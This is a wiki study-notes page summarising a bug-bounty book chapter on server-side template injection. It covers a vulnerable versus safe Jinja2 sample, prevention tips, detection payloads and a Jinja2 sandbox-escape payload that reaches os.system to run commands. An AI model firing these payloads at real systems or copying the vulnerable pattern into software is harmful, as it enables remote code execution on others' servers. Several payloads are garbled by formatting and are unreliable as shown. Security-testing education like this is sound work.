User Tools

Site Tools


bbc:16_template_injection

This is an old revision of the document!


BBC Ch 16: Server-Side Template Injection (SSTI)

Source: Bug Bounty Bootcamp by Vickie Li

How SSTI Works

Template engines (Jinja2, Twig, FreeMarker, ERB, Smarty) combine application data with templates to generate HTML pages. SSTI occurs when user input is concatenated directly into a template string rather than being passed in as a safe data variable:

Vulnerable code (Python/Jinja2): <code python> from jinja2 import Template tmpl = Template(“<html><h1>Hello: ” + user_input + “</h1></html>”) tmpl.render() ```

Safe code: <code python> tmpl = Template(“<html><h1>Hello: name</h1></html>”) tmpl.render(name=user_input) ```

When code is vulnerable, submitting 1_1 returns 2 in the page – the template engine executed the expression.

Prevention

  • Patch and update template engine libraries regularly
  • Avoid allowing user-submitted templates
  • Use the template engine's hardened sandbox mode for user input (not bulletproof – sandbox escapes exist)
  • Implement an allowlist of allowed attributes in templates
  • Return generic error pages; suppress descriptive error messages
  • Sanitize user input before embedding in templates

Hunting for SSTI

Step 1: Find User-Input Locations

Any field that gets displayed back to the user is a candidate: URL parameters, query strings, form fields, file uploads, HTTP headers. Look especially for endpoints that render user input in generated emails, profile pages, or name fields.

Step 2: Detect SSTI with Test Payloads

Submit this polyglot error-inducing string: <code> 1_abcxx${1+abcxx}<%1+abcxx%>[abcxx] ```

If the server returns an error or renders unexpectedly, template injection is likely. Also try:

Payload Works in
7_7 Jinja2, Twig, Smarty (Python/PHP)
${7*7} FreeMarker, Thymeleaf (Java)
<%= 7*7 %> ERB (Ruby)

If any of these returns 49, SSTI is confirmed.

If input is placed inside expression tags already (e.g., user_input), just submit 7*7 without the brackets and check if 49 is returned.

Step 3: Identify the Template Engine

  • Error message may name the engine (e.g., jinja2.exceptions.UndefinedError)
  • 7_7 returns 7777777 in Jinja2, 49 in Twig
  • <%= 7*7 %> returning 49 → ERB
  • ${7*7} returning 49 → FreeMarker or Thymeleaf

Escalating SSTI to RCE (Jinja2)

Jinja2 blocks direct import and os, but Python's built-in class hierarchy is accessible. Use subclass traversal to reach the catch_warnings class, which has access to builtins:

List all subclasses of object: <code> class_._bases_0_._subclasses ```

Find catch_warnings and access builtins: <code> {% for x in [].class.bases[0].subclasses() %} {% if 'catch_warnings' in x.name %} x_._module._builtins {% endif %} {% endfor %} ```

Execute a system command (e.g., ls): <code> {% for x in [].class.bases[0].subclasses() %} {% if 'catch_warnings' in x.name %} x_._module._builtins_import_os_.system_ls {% endif %} {% endfor %} ```

Safe PoC – create a file with a distinct name: <code> {% for x in [].class.bases[0].subclasses() %} {% if 'warning' in x.name %} x_._module._builtins_import_os_.system_touch_ssti_poc_by_your_name.txt {% endif %} {% endfor %} ```

Other template engines require different syntax and sandbox-escape methods – consult engine-specific documentation and PortSwigger's SSTI research.

Automation

tplmap (https://github.com/epinna/tplmap/) scans for SSTI, identifies the engine, and constructs exploits automatically for popular engines.

7-Step Checklist

  1. Find user-input locations that are displayed back to the user.
  2. Submit 7_7, ${7*7}, <%= 7*7 %> to detect SSTI.
  3. If blocked/no output: try the polyglot error payload 1_abcxx${1+abcxx}<%1+abcxx%>[abcxx].
  4. Identify the template engine from error messages or differential payloads.
  5. Research sandbox-escape techniques for the identified engine.
  6. Escalate to RCE; create a safe PoC file rather than executing destructive commands.
  7. Draft report with the working payload and the engine name.
bbc/16_template_injection.1778773902.txt.gz · Last modified: by drew

Donate Powered by PHP Valid HTML5 Valid CSS Driven by DokuWiki